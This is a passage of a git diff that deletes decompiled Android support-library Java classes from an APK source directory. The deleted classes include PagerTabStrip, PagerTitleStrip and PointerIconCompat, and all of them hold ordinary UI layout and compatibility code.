isViewFromObject(View view, Object obj); - - public void restoreState(Parcelable parcelable, ClassLoader classLoader) { - } - - public Parcelable saveState() { - return null; - } - - @Deprecated - public void setPrimaryItem(View view, int i, Object obj) { - } - - @Deprecated - public void startUpdate(View view) { - } - - public void startUpdate(ViewGroup viewGroup) { - startUpdate((View) viewGroup); - } - - public Object instantiateItem(ViewGroup viewGroup, int i) { - return instantiateItem((View) viewGroup, i); - } - - public void destroyItem(ViewGroup viewGroup, int i, Object obj) { - destroyItem((View) viewGroup, i, obj); - } - - public void setPrimaryItem(ViewGroup viewGroup, int i, Object obj) { - setPrimaryItem((View) viewGroup, i, obj); - } - - public void finishUpdate(ViewGroup viewGroup) { - finishUpdate((View) viewGroup); - } - - @Deprecated - public Object instantiateItem(View view, int i) { - throw new UnsupportedOperationException("Required method instantiateItem was not overridden"); - } - - @Deprecated - public void destroyItem(View view, int i, Object obj) { - throw new UnsupportedOperationException("Required method destroyItem was not overridden"); - } - - public void notifyDataSetChanged() { - synchronized (this) { - DataSetObserver dataSetObserver = this.mViewPagerObserver; - if (dataSetObserver != null) { - dataSetObserver.onChanged(); - } - } - this.mObservable.notifyChanged(); - } - - public void registerDataSetObserver(DataSetObserver dataSetObserver) { - this.mObservable.registerObserver(dataSetObserver); - } - - public void unregisterDataSetObserver(DataSetObserver dataSetObserver) { - this.mObservable.unregisterObserver(dataSetObserver); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void setViewPagerObserver(DataSetObserver dataSetObserver) { - synchronized (this) { - this.mViewPagerObserver = dataSetObserver; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/PagerTabStrip.java b/apk_3230/decompiled_source/sources/android/support/v4/view/PagerTabStrip.java deleted file mode 100644 index da44d56..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/PagerTabStrip.java +++ /dev/null @@ -1,212 +0,0 @@ -package android.support.v4.view; - -import android.content.Context; -import android.graphics.Canvas; -import android.graphics.Paint; -import android.graphics.Rect; -import android.graphics.drawable.Drawable; -import android.util.AttributeSet; -import android.view.MotionEvent; -import android.view.View; -import android.view.ViewConfiguration; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class PagerTabStrip extends PagerTitleStrip { - private static final int FULL_UNDERLINE_HEIGHT = 1; - private static final int INDICATOR_HEIGHT = 3; - private static final int MIN_PADDING_BOTTOM = 6; - private static final int MIN_STRIP_HEIGHT = 32; - private static final int MIN_TEXT_SPACING = 64; - private static final int TAB_PADDING = 16; - private static final int TAB_SPACING = 32; - private static final String TAG = "PagerTabStrip"; - private boolean mDrawFullUnderline; - private boolean mDrawFullUnderlineSet; - private int mFullUnderlineHeight; - private boolean mIgnoreTap; - private int mIndicatorColor; - private int mIndicatorHeight; - private float mInitialMotionX; - private float mInitialMotionY; - private int mMinPaddingBottom; - private int mMinStripHeight; - private int mMinTextSpacing; - private int mTabAlpha; - private int mTabPadding; - private final Paint mTabPaint; - private final Rect mTempRect; - private int mTouchSlop; - - public PagerTabStrip(Context context) { - this(context, null); - } - - public PagerTabStrip(Context context, AttributeSet attributeSet) { - super(context, attributeSet); - Paint paint = new Paint(); - this.mTabPaint = paint; - this.mTempRect = new Rect(); - this.mTabAlpha = 255; - this.mDrawFullUnderline = false; - this.mDrawFullUnderlineSet = false; - int i = this.mTextColor; - this.mIndicatorColor = i; - paint.setColor(i); - float f = context.getResources().getDisplayMetrics().density; - this.mIndicatorHeight = (int) ((3.0f * f) + 0.5f); - this.mMinPaddingBottom = (int) ((6.0f * f) + 0.5f); - this.mMinTextSpacing = (int) (64.0f * f); - this.mTabPadding = (int) ((16.0f * f) + 0.5f); - this.mFullUnderlineHeight = (int) ((1.0f * f) + 0.5f); - this.mMinStripHeight = (int) ((f * 32.0f) + 0.5f); - this.mTouchSlop = ViewConfiguration.get(context).getScaledTouchSlop(); - setPadding(getPaddingLeft(), getPaddingTop(), getPaddingRight(), getPaddingBottom()); - setTextSpacing(getTextSpacing()); - setWillNotDraw(false); - this.mPrevText.setFocusable(true); - this.mPrevText.setOnClickListener(new View.OnClickListener() { // from class: android.support.v4.view.PagerTabStrip.1 - @Override // android.view.View.OnClickListener - public void onClick(View view) { - PagerTabStrip.this.mPager.setCurrentItem(PagerTabStrip.this.mPager.getCurrentItem() - 1); - } - }); - this.mNextText.setFocusable(true); - this.mNextText.setOnClickListener(new View.OnClickListener() { // from class: android.support.v4.view.PagerTabStrip.2 - @Override // android.view.View.OnClickListener - public void onClick(View view) { - PagerTabStrip.this.mPager.setCurrentItem(PagerTabStrip.this.mPager.getCurrentItem() + 1); - } - }); - if (getBackground() == null) { - this.mDrawFullUnderline = true; - } - } - - public void setTabIndicatorColor(int i) { - this.mIndicatorColor = i; - this.mTabPaint.setColor(i); - invalidate(); - } - - public void setTabIndicatorColorResource(int i) { - setTabIndicatorColor(getContext().getResources().getColor(i)); - } - - public int getTabIndicatorColor() { - return this.mIndicatorColor; - } - - @Override // android.view.View - public void setPadding(int i, int i2, int i3, int i4) { - int i5 = this.mMinPaddingBottom; - if (i4 < i5) { - i4 = i5; - } - super.setPadding(i, i2, i3, i4); - } - - @Override // android.support.v4.view.PagerTitleStrip - public void setTextSpacing(int i) { - int i2 = this.mMinTextSpacing; - if (i < i2) { - i = i2; - } - super.setTextSpacing(i); - } - - @Override // android.view.View - public void setBackgroundDrawable(Drawable drawable) { - super.setBackgroundDrawable(drawable); - if (this.mDrawFullUnderlineSet) { - return; - } - this.mDrawFullUnderline = drawable == null; - } - - @Override // android.view.View - public void setBackgroundColor(int i) { - super.setBackgroundColor(i); - if (this.mDrawFullUnderlineSet) { - return; - } - this.mDrawFullUnderline = (i & ViewCompat.MEASURED_STATE_MASK) == 0; - } - - @Override // android.view.View - public void setBackgroundResource(int i) { - super.setBackgroundResource(i); - if (this.mDrawFullUnderlineSet) { - return; - } - this.mDrawFullUnderline = i == 0; - } - - public void setDrawFullUnderline(boolean z) { - this.mDrawFullUnderline = z; - this.mDrawFullUnderlineSet = true; - invalidate(); - } - - public boolean getDrawFullUnderline() { - return this.mDrawFullUnderline; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - @Override // android.support.v4.view.PagerTitleStrip - public int getMinHeight() { - return Math.max(super.getMinHeight(), this.mMinStripHeight); - } - - @Override // android.view.View - public boolean onTouchEvent(MotionEvent motionEvent) { - int action = motionEvent.getAction(); - if (action == 0 || !this.mIgnoreTap) { - float x = motionEvent.getX(); - float y = motionEvent.getY(); - if (action == 0) { - this.mInitialMotionX = x; - this.mInitialMotionY = y; - this.mIgnoreTap = false; - } else if (action != 1) { - if (action == 2 && (Math.abs(x - this.mInitialMotionX) > this.mTouchSlop || Math.abs(y - this.mInitialMotionY) > this.mTouchSlop)) { - this.mIgnoreTap = true; - } - } else if (x < this.mCurrText.getLeft() - this.mTabPadding) { - this.mPager.setCurrentItem(this.mPager.getCurrentItem() - 1); - } else if (x > this.mCurrText.getRight() + this.mTabPadding) { - this.mPager.setCurrentItem(this.mPager.getCurrentItem() + 1); - } - return true; - } - return false; - } - - @Override // android.view.View - protected void onDraw(Canvas canvas) { - super.onDraw(canvas); - int height = getHeight(); - int left = this.mCurrText.getLeft() - this.mTabPadding; - int right = this.mCurrText.getRight() + this.mTabPadding; - this.mTabPaint.setColor((this.mTabAlpha << 24) | (this.mIndicatorColor & ViewCompat.MEASURED_SIZE_MASK)); - float f = height; - canvas.drawRect(left, height - this.mIndicatorHeight, right, f, this.mTabPaint); - if (this.mDrawFullUnderline) { - this.mTabPaint.setColor((this.mIndicatorColor & ViewCompat.MEASURED_SIZE_MASK) | ViewCompat.MEASURED_STATE_MASK); - canvas.drawRect(getPaddingLeft(), height - this.mFullUnderlineHeight, getWidth() - getPaddingRight(), f, this.mTabPaint); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - @Override // android.support.v4.view.PagerTitleStrip - public void updateTextPositions(int i, float f, boolean z) { - Rect rect = this.mTempRect; - int height = getHeight(); - int left = this.mCurrText.getLeft() - this.mTabPadding; - int right = this.mCurrText.getRight() + this.mTabPadding; - int i2 = height - this.mIndicatorHeight; - rect.set(left, i2, right, height); - super.updateTextPositions(i, f, z); - this.mTabAlpha = (int) (Math.abs(f - 0.5f) * 2.0f * 255.0f); - rect.union(this.mCurrText.getLeft() - this.mTabPadding, i2, this.mCurrText.getRight() + this.mTabPadding, height); - invalidate(rect); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/PagerTitleStrip.java b/apk_3230/decompiled_source/sources/android/support/v4/view/PagerTitleStrip.java deleted file mode 100644 index 92ae92d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/PagerTitleStrip.java +++ /dev/null @@ -1,404 +0,0 @@ -package android.support.v4.view; - -import android.content.Context; -import android.content.res.TypedArray; -import android.database.DataSetObserver; -import android.graphics.drawable.Drawable; -import android.support.v4.view.ViewPager; -import android.support.v4.widget.ExploreByTouchHelper; -import android.text.TextUtils; -import android.util.AttributeSet; -import android.view.View; -import android.view.ViewGroup; -import android.view.ViewParent; -import android.widget.TextView; -import java.lang.ref.WeakReference; -@ViewPager.DecorView -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class PagerTitleStrip extends ViewGroup { - private static final float SIDE_ALPHA = 0.6f; - private static final String TAG = "PagerTitleStrip"; - private static final int TEXT_SPACING = 16; - TextView mCurrText; - private int mGravity; - private int mLastKnownCurrentPage; - float mLastKnownPositionOffset; - TextView mNextText; - private int mNonPrimaryAlpha; - private final PageListener mPageListener; - ViewPager mPager; - TextView mPrevText; - private int mScaledTextSpacing; - int mTextColor; - private boolean mUpdatingPositions; - private boolean mUpdatingText; - private WeakReference mWatchingAdapter; - private static final int[] ATTRS = {16842804, 16842901, 16842904, 16842927}; - private static final int[] TEXT_ATTRS = {16843660}; - private static final PagerTitleStripImpl IMPL = new PagerTitleStripImplIcs(); - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface PagerTitleStripImpl { - void setSingleLineAllCaps(TextView textView); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class PagerTitleStripImplBase implements PagerTitleStripImpl { - PagerTitleStripImplBase() { - } - - @Override // android.support.v4.view.PagerTitleStrip.PagerTitleStripImpl - public void setSingleLineAllCaps(TextView textView) { - textView.setSingleLine(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class PagerTitleStripImplIcs implements PagerTitleStripImpl { - PagerTitleStripImplIcs() { - } - - @Override // android.support.v4.view.PagerTitleStrip.PagerTitleStripImpl - public void setSingleLineAllCaps(TextView textView) { - PagerTitleStripIcs.setSingleLineAllCaps(textView); - } - } - - private static void setSingleLineAllCaps(TextView textView) { - IMPL.setSingleLineAllCaps(textView); - } - - public PagerTitleStrip(Context context) { - this(context, null); - } - - public PagerTitleStrip(Context context, AttributeSet attributeSet) { - super(context, attributeSet); - this.mLastKnownCurrentPage = -1; - this.mLastKnownPositionOffset = -1.0f; - this.mPageListener = new PageListener(); - TextView textView = new TextView(context); - this.mPrevText = textView; - addView(textView); - TextView textView2 = new TextView(context); - this.mCurrText = textView2; - addView(textView2); - TextView textView3 = new TextView(context); - this.mNextText = textView3; - addView(textView3); - TypedArray obtainStyledAttributes = context.obtainStyledAttributes(attributeSet, ATTRS); - int resourceId = obtainStyledAttributes.getResourceId(0, 0); - if (resourceId != 0) { - this.mPrevText.setTextAppearance(context, resourceId); - this.mCurrText.setTextAppearance(context, resourceId); - this.mNextText.setTextAppearance(context, resourceId); - } - int dimensionPixelSize = obtainStyledAttributes.getDimensionPixelSize(1, 0); - if (dimensionPixelSize != 0) { - setTextSize(0, dimensionPixelSize); - } - if (obtainStyledAttributes.hasValue(2)) { - int color = obtainStyledAttributes.getColor(2, 0); - this.mPrevText.setTextColor(color); - this.mCurrText.setTextColor(color); - this.mNextText.setTextColor(color); - } - this.mGravity = obtainStyledAttributes.getInteger(3, 80); - obtainStyledAttributes.recycle(); - this.mTextColor = this.mCurrText.getTextColors().getDefaultColor(); - setNonPrimaryAlpha(SIDE_ALPHA); - this.mPrevText.setEllipsize(TextUtils.TruncateAt.END); - this.mCurrText.setEllipsize(TextUtils.TruncateAt.END); - this.mNextText.setEllipsize(TextUtils.TruncateAt.END); - if (resourceId != 0) { - TypedArray obtainStyledAttributes2 = context.obtainStyledAttributes(resourceId, TEXT_ATTRS); - boolean z = obtainStyledAttributes2.getBoolean(0, false); - obtainStyledAttributes2.recycle(); - if (z) { - setSingleLineAllCaps(this.mPrevText); - setSingleLineAllCaps(this.mCurrText); - setSingleLineAllCaps(this.mNextText); - this.mScaledTextSpacing = (int) (context.getResources().getDisplayMetrics().density * 16.0f); - } - } - this.mPrevText.setSingleLine(); - this.mCurrText.setSingleLine(); - this.mNextText.setSingleLine(); - this.mScaledTextSpacing = (int) (context.getResources().getDisplayMetrics().density * 16.0f); - } - - public void setTextSpacing(int i) { - this.mScaledTextSpacing = i; - requestLayout(); - } - - public int getTextSpacing() { - return this.mScaledTextSpacing; - } - - public void setNonPrimaryAlpha(float f) { - int i = ((int) (f * 255.0f)) & 255; - this.mNonPrimaryAlpha = i; - int i2 = (i << 24) | (this.mTextColor & ViewCompat.MEASURED_SIZE_MASK); - this.mPrevText.setTextColor(i2); - this.mNextText.setTextColor(i2); - } - - public void setTextColor(int i) { - this.mTextColor = i; - this.mCurrText.setTextColor(i); - int i2 = (this.mNonPrimaryAlpha << 24) | (this.mTextColor & ViewCompat.MEASURED_SIZE_MASK); - this.mPrevText.setTextColor(i2); - this.mNextText.setTextColor(i2); - } - - public void setTextSize(int i, float f) { - this.mPrevText.setTextSize(i, f); - this.mCurrText.setTextSize(i, f); - this.mNextText.setTextSize(i, f); - } - - public void setGravity(int i) { - this.mGravity = i; - requestLayout(); - } - - @Override // android.view.ViewGroup, android.view.View - protected void onAttachedToWindow() { - super.onAttachedToWindow(); - ViewParent parent = getParent(); - if (!(parent instanceof ViewPager)) { - throw new IllegalStateException("PagerTitleStrip must be a direct child of a ViewPager."); - } - ViewPager viewPager = (ViewPager) parent; - PagerAdapter adapter = viewPager.getAdapter(); - viewPager.setInternalPageChangeListener(this.mPageListener); - viewPager.addOnAdapterChangeListener(this.mPageListener); - this.mPager = viewPager; - WeakReference weakReference = this.mWatchingAdapter; - updateAdapter(weakReference != null ? weakReference.get() : null, adapter); - } - - @Override // android.view.ViewGroup, android.view.View - protected void onDetachedFromWindow() { - super.onDetachedFromWindow(); - ViewPager viewPager = this.mPager; - if (viewPager != null) { - updateAdapter(viewPager.getAdapter(), null); - this.mPager.setInternalPageChangeListener(null); - this.mPager.removeOnAdapterChangeListener(this.mPageListener); - this.mPager = null; - } - } - - void updateText(int i, PagerAdapter pagerAdapter) { - int count = pagerAdapter != null ? pagerAdapter.getCount() : 0; - this.mUpdatingText = true; - CharSequence charSequence = null; - this.mPrevText.setText((i < 1 || pagerAdapter == null) ? null : pagerAdapter.getPageTitle(i - 1)); - this.mCurrText.setText((pagerAdapter == null || i >= count) ? null : pagerAdapter.getPageTitle(i)); - int i2 = i + 1; - if (i2 < count && pagerAdapter != null) { - charSequence = pagerAdapter.getPageTitle(i2); - } - this.mNextText.setText(charSequence); - int makeMeasureSpec = View.MeasureSpec.makeMeasureSpec(Math.max(0, (int) (((getWidth() - getPaddingLeft()) - getPaddingRight()) * 0.8f)), ExploreByTouchHelper.INVALID_ID); - int makeMeasureSpec2 = View.MeasureSpec.makeMeasureSpec(Math.max(0, (getHeight() - getPaddingTop()) - getPaddingBottom()), ExploreByTouchHelper.INVALID_ID); - this.mPrevText.measure(makeMeasureSpec, makeMeasureSpec2); - this.mCurrText.measure(makeMeasureSpec, makeMeasureSpec2); - this.mNextText.measure(makeMeasureSpec, makeMeasureSpec2); - this.mLastKnownCurrentPage = i; - if (!this.mUpdatingPositions) { - updateTextPositions(i, this.mLastKnownPositionOffset, false); - } - this.mUpdatingText = false; - } - - @Override // android.view.View, android.view.ViewParent - public void requestLayout() { - if (this.mUpdatingText) { - return; - } - super.requestLayout(); - } - - void updateAdapter(PagerAdapter pagerAdapter, PagerAdapter pagerAdapter2) { - if (pagerAdapter != null) { - pagerAdapter.unregisterDataSetObserver(this.mPageListener); - this.mWatchingAdapter = null; - } - if (pagerAdapter2 != null) { - pagerAdapter2.registerDataSetObserver(this.mPageListener); - this.mWatchingAdapter = new WeakReference<>(pagerAdapter2); - } - ViewPager viewPager = this.mPager; - if (viewPager != null) { - this.mLastKnownCurrentPage = -1; - this.mLastKnownPositionOffset = -1.0f; - updateText(viewPager.getCurrentItem(), pagerAdapter2); - requestLayout(); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void updateTextPositions(int i, float f, boolean z) { - int i2; - int i3; - int i4; - int i5; - if (i != this.mLastKnownCurrentPage) { - updateText(i, this.mPager.getAdapter()); - } else if (!z && f == this.mLastKnownPositionOffset) { - return; - } - this.mUpdatingPositions = true; - int measuredWidth = this.mPrevText.getMeasuredWidth(); - int measuredWidth2 = this.mCurrText.getMeasuredWidth(); - int measuredWidth3 = this.mNextText.getMeasuredWidth(); - int i6 = measuredWidth2 / 2; - int width = getWidth(); - int height = getHeight(); - int paddingLeft = getPaddingLeft(); - int paddingRight = getPaddingRight(); - int paddingTop = getPaddingTop(); - int paddingBottom = getPaddingBottom(); - int i7 = paddingRight + i6; - int i8 = (width - (paddingLeft + i6)) - i7; - float f2 = 0.5f + f; - if (f2 > 1.0f) { - f2 -= 1.0f; - } - int i9 = ((width - i7) - ((int) (i8 * f2))) - i6; - int i10 = measuredWidth2 + i9; - int baseline = this.mPrevText.getBaseline(); - int baseline2 = this.mCurrText.getBaseline(); - int baseline3 = this.mNextText.getBaseline(); - int max = Math.max(Math.max(baseline, baseline2), baseline3); - int i11 = max - baseline; - int i12 = max - baseline2; - int i13 = max - baseline3; - int max2 = Math.max(Math.max(this.mPrevText.getMeasuredHeight() + i11, this.mCurrText.getMeasuredHeight() + i12), this.mNextText.getMeasuredHeight() + i13); - int i14 = this.mGravity & 112; - if (i14 == 16) { - i2 = (((height - paddingTop) - paddingBottom) - max2) / 2; - } else if (i14 != 80) { - i3 = i11 + paddingTop; - i4 = i12 + paddingTop; - i5 = paddingTop + i13; - TextView textView = this.mCurrText; - textView.layout(i9, i4, i10, textView.getMeasuredHeight() + i4); - int min = Math.min(paddingLeft, (i9 - this.mScaledTextSpacing) - measuredWidth); - TextView textView2 = this.mPrevText; - textView2.layout(min, i3, measuredWidth + min, textView2.getMeasuredHeight() + i3); - int max3 = Math.max((width - paddingRight) - measuredWidth3, i10 + this.mScaledTextSpacing); - TextView textView3 = this.mNextText; - textView3.layout(max3, i5, max3 + measuredWidth3, textView3.getMeasuredHeight() + i5); - this.mLastKnownPositionOffset = f; - this.mUpdatingPositions = false; - } else { - i2 = (height - paddingBottom) - max2; - } - i3 = i11 + i2; - i4 = i12 + i2; - i5 = i2 + i13; - TextView textView4 = this.mCurrText; - textView4.layout(i9, i4, i10, textView4.getMeasuredHeight() + i4); - int min2 = Math.min(paddingLeft, (i9 - this.mScaledTextSpacing) - measuredWidth); - TextView textView22 = this.mPrevText; - textView22.layout(min2, i3, measuredWidth + min2, textView22.getMeasuredHeight() + i3); - int max32 = Math.max((width - paddingRight) - measuredWidth3, i10 + this.mScaledTextSpacing); - TextView textView32 = this.mNextText; - textView32.layout(max32, i5, max32 + measuredWidth3, textView32.getMeasuredHeight() + i5); - this.mLastKnownPositionOffset = f; - this.mUpdatingPositions = false; - } - - @Override // android.view.View - protected void onMeasure(int i, int i2) { - int max; - if (View.MeasureSpec.getMode(i) != 1073741824) { - throw new IllegalStateException("Must measure with an exact width"); - } - int paddingTop = getPaddingTop() + getPaddingBottom(); - int childMeasureSpec = getChildMeasureSpec(i2, paddingTop, -2); - int size = View.MeasureSpec.getSize(i); - int childMeasureSpec2 = getChildMeasureSpec(i, (int) (size * 0.2f), -2); - this.mPrevText.measure(childMeasureSpec2, childMeasureSpec); - this.mCurrText.measure(childMeasureSpec2, childMeasureSpec); - this.mNextText.measure(childMeasureSpec2, childMeasureSpec); - if (View.MeasureSpec.getMode(i2) == 1073741824) { - max = View.MeasureSpec.getSize(i2); - } else { - max = Math.max(getMinHeight(), this.mCurrText.getMeasuredHeight() + paddingTop); - } - setMeasuredDimension(size, ViewCompat.resolveSizeAndState(max, i2, ViewCompat.getMeasuredState(this.mCurrText) << 16)); - } - - @Override // android.view.ViewGroup, android.view.View - protected void onLayout(boolean z, int i, int i2, int i3, int i4) { - if (this.mPager != null) { - float f = this.mLastKnownPositionOffset; - if (f < 0.0f) { - f = 0.0f; - } - updateTextPositions(this.mLastKnownCurrentPage, f, true); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public int getMinHeight() { - Drawable background = getBackground(); - if (background != null) { - return background.getIntrinsicHeight(); - } - return 0; - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public class PageListener extends DataSetObserver implements ViewPager.OnPageChangeListener, ViewPager.OnAdapterChangeListener { - private int mScrollState; - - PageListener() { - } - - @Override // android.support.v4.view.ViewPager.OnPageChangeListener - public void onPageScrolled(int i, float f, int i2) { - if (f > 0.5f) { - i++; - } - PagerTitleStrip.this.updateTextPositions(i, f, false); - } - - @Override // android.support.v4.view.ViewPager.OnPageChangeListener - public void onPageSelected(int i) { - if (this.mScrollState == 0) { - PagerTitleStrip pagerTitleStrip = PagerTitleStrip.this; - pagerTitleStrip.updateText(pagerTitleStrip.mPager.getCurrentItem(), PagerTitleStrip.this.mPager.getAdapter()); - float f = PagerTitleStrip.this.mLastKnownPositionOffset >= 0.0f ? PagerTitleStrip.this.mLastKnownPositionOffset : 0.0f; - PagerTitleStrip pagerTitleStrip2 = PagerTitleStrip.this; - pagerTitleStrip2.updateTextPositions(pagerTitleStrip2.mPager.getCurrentItem(), f, true); - } - } - - @Override // android.support.v4.view.ViewPager.OnPageChangeListener - public void onPageScrollStateChanged(int i) { - this.mScrollState = i; - } - - @Override // android.support.v4.view.ViewPager.OnAdapterChangeListener - public void onAdapterChanged(ViewPager viewPager, PagerAdapter pagerAdapter, PagerAdapter pagerAdapter2) { - PagerTitleStrip.this.updateAdapter(pagerAdapter, pagerAdapter2); - } - - @Override // android.database.DataSetObserver - public void onChanged() { - PagerTitleStrip pagerTitleStrip = PagerTitleStrip.this; - pagerTitleStrip.updateText(pagerTitleStrip.mPager.getCurrentItem(), PagerTitleStrip.this.mPager.getAdapter()); - float f = PagerTitleStrip.this.mLastKnownPositionOffset >= 0.0f ? PagerTitleStrip.this.mLastKnownPositionOffset : 0.0f; - PagerTitleStrip pagerTitleStrip2 = PagerTitleStrip.this; - pagerTitleStrip2.updateTextPositions(pagerTitleStrip2.mPager.getCurrentItem(), f, true); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/PagerTitleStripIcs.java b/apk_3230/decompiled_source/sources/android/support/v4/view/PagerTitleStripIcs.java deleted file mode 100644 index efe3480..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/PagerTitleStripIcs.java +++ /dev/null @@ -1,35 +0,0 @@ -package android.support.v4.view; - -import android.content.Context; -import android.text.method.SingleLineTransformationMethod; -import android.view.View; -import android.widget.TextView; -import java.util.Locale; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class PagerTitleStripIcs { - PagerTitleStripIcs() { - } - - public static void setSingleLineAllCaps(TextView textView) { - textView.setTransformationMethod(new SingleLineAllCapsTransform(textView.getContext())); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class SingleLineAllCapsTransform extends SingleLineTransformationMethod { - private static final String TAG = "SingleLineAllCapsTransform"; - private Locale mLocale; - - public SingleLineAllCapsTransform(Context context) { - this.mLocale = context.getResources().getConfiguration().locale; - } - - @Override // android.text.method.ReplacementTransformationMethod, android.text.method.TransformationMethod - public CharSequence getTransformation(CharSequence charSequence, View view) { - CharSequence transformation = super.getTransformation(charSequence, view); - if (transformation != null) { - return transformation.toString().toUpperCase(this.mLocale); - } - return null; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/PointerIconCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/PointerIconCompat.java deleted file mode 100644 index cfb56a7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/PointerIconCompat.java +++ /dev/null @@ -1,113 +0,0 @@ -package android.support.v4.view; - -import android.content.Context; -import android.content.res.Resources; -import android.graphics.Bitmap; -import android.support.v4.os.BuildCompat; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class PointerIconCompat { - static final PointerIconCompatImpl IMPL; - public static final int TYPE_ALIAS = 1010; - public static final int TYPE_ALL_SCROLL = 1013; - public static final int TYPE_ARROW = 1000; - public static final int TYPE_CELL = 1006; - public static final int TYPE_CONTEXT_MENU = 1001; - public static final int TYPE_COPY = 1011; - public static final int TYPE_CROSSHAIR = 1007; - public static final int TYPE_DEFAULT = 1000; - public static final int TYPE_GRAB = 1020; - public static final int TYPE_GRABBING = 1021; - public static final int TYPE_HAND = 1002; - public static final int TYPE_HELP = 1003; - public static final int TYPE_HORIZONTAL_DOUBLE_ARROW = 1014; - public static final int TYPE_NO_DROP = 1012; - public static final int TYPE_NULL = 0; - public static final int TYPE_TEXT = 1008; - public static final int TYPE_TOP_LEFT_DIAGONAL_DOUBLE_ARROW = 1017; - public static final int TYPE_TOP_RIGHT_DIAGONAL_DOUBLE_ARROW = 1016; - public static final int TYPE_VERTICAL_DOUBLE_ARROW = 1015; - public static final int TYPE_VERTICAL_TEXT = 1009; - public static final int TYPE_WAIT = 1004; - public static final int TYPE_ZOOM_IN = 1018; - public static final int TYPE_ZOOM_OUT = 1019; - private Object mPointerIcon; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface PointerIconCompatImpl { - Object create(Bitmap bitmap, float f, float f2); - - Object getSystemIcon(Context context, int i); - - Object load(Resources resources, int i); - } - - private PointerIconCompat(Object obj) { - this.mPointerIcon = obj; - } - - public Object getPointerIcon() { - return this.mPointerIcon; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BasePointerIconCompatImpl implements PointerIconCompatImpl { - @Override // android.support.v4.view.PointerIconCompat.PointerIconCompatImpl - public Object create(Bitmap bitmap, float f, float f2) { - return null; - } - - @Override // android.support.v4.view.PointerIconCompat.PointerIconCompatImpl - public Object getSystemIcon(Context context, int i) { - return null; - } - - @Override // android.support.v4.view.PointerIconCompat.PointerIconCompatImpl - public Object load(Resources resources, int i) { - return null; - } - - BasePointerIconCompatImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class Api24PointerIconCompatImpl extends BasePointerIconCompatImpl { - Api24PointerIconCompatImpl() { - } - - @Override // android.support.v4.view.PointerIconCompat.BasePointerIconCompatImpl, android.support.v4.view.PointerIconCompat.PointerIconCompatImpl - public Object getSystemIcon(Context context, int i) { - return PointerIconCompatApi24.getSystemIcon(context, i); - } - - @Override // android.support.v4.view.PointerIconCompat.BasePointerIconCompatImpl, android.support.v4.view.PointerIconCompat.PointerIconCompatImpl - public Object create(Bitmap bitmap, float f, float f2) { - return PointerIconCompatApi24.create(bitmap, f, f2); - } - - @Override // android.support.v4.view.PointerIconCompat.BasePointerIconCompatImpl, android.support.v4.view.PointerIconCompat.PointerIconCompatImpl - public Object load(Resources resources, int i) { - return PointerIconCompatApi24.load(resources, i); - } - } - - static { - if (BuildCompat.isAtLeastN()) { - IMPL = new Api24PointerIconCompatImpl(); - } else { - IMPL = new BasePointerIconCompatImpl(); - } - } - - public static PointerIconCompat getSystemIcon(Context context, int i) { - return new PointerIconCompat(IMPL.getSystemIcon(context, i)); - } - - public static PointerIconCompat create(Bitmap bitmap, float f, float f2) { - return new PointerIconCompat(IMPL.create(bitmap, f, f2)); - } - - public static PointerIconCompat load(Resources resources, int i) { - return new PointerIconCompat(IMPL.load(resources, i)); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/PointerIconCompatApi24.java b/apk_3230/decompiled_source/sources/android/support/v4/view/PointerIconCompatApi24.java deleted file mode 100644 index 4d04dff..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/PointerIconCompatApi24.java +++ /dev/null @@ -1,23 +0,0 @@ -package android.support.v4.view; - -import android.content.Context; -import android.content.res.Resources; -import android.graphics.Bitmap; -import android.view.PointerIcon; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class PointerIconCompatApi24 { - PointerIconCompatApi24() { - } - - public static Object getSystemIcon(Context context, int i) { - return PointerIcon.getSystemIcon(context, i); - } - - public static Object create(Bitmap bitmap, float f, float f2) { - return PointerIcon.create(bitmap, f, f2); - } - - public static Object load(Resources resources, int i) { - return PointerIcon.load(resources, i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ScaleGestureDetectorCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ScaleGestureDetectorCompat.java deleted file mode 100644 index 27f3345..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ScaleGestureDetectorCompat.java +++ /dev/null @@ -1,54 +0,0 @@ -package android.support.v4.view; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ScaleGestureDetectorCompat { - static final ScaleGestureDetectorImpl IMPL = new ScaleGestureDetectorCompatKitKatImpl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface ScaleGestureDetectorImpl { - boolean isQuickScaleEnabled(Object obj); - - void setQuickScaleEnabled(Object obj, boolean z); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class BaseScaleGestureDetectorImpl implements ScaleGestureDetectorImpl { - @Override // 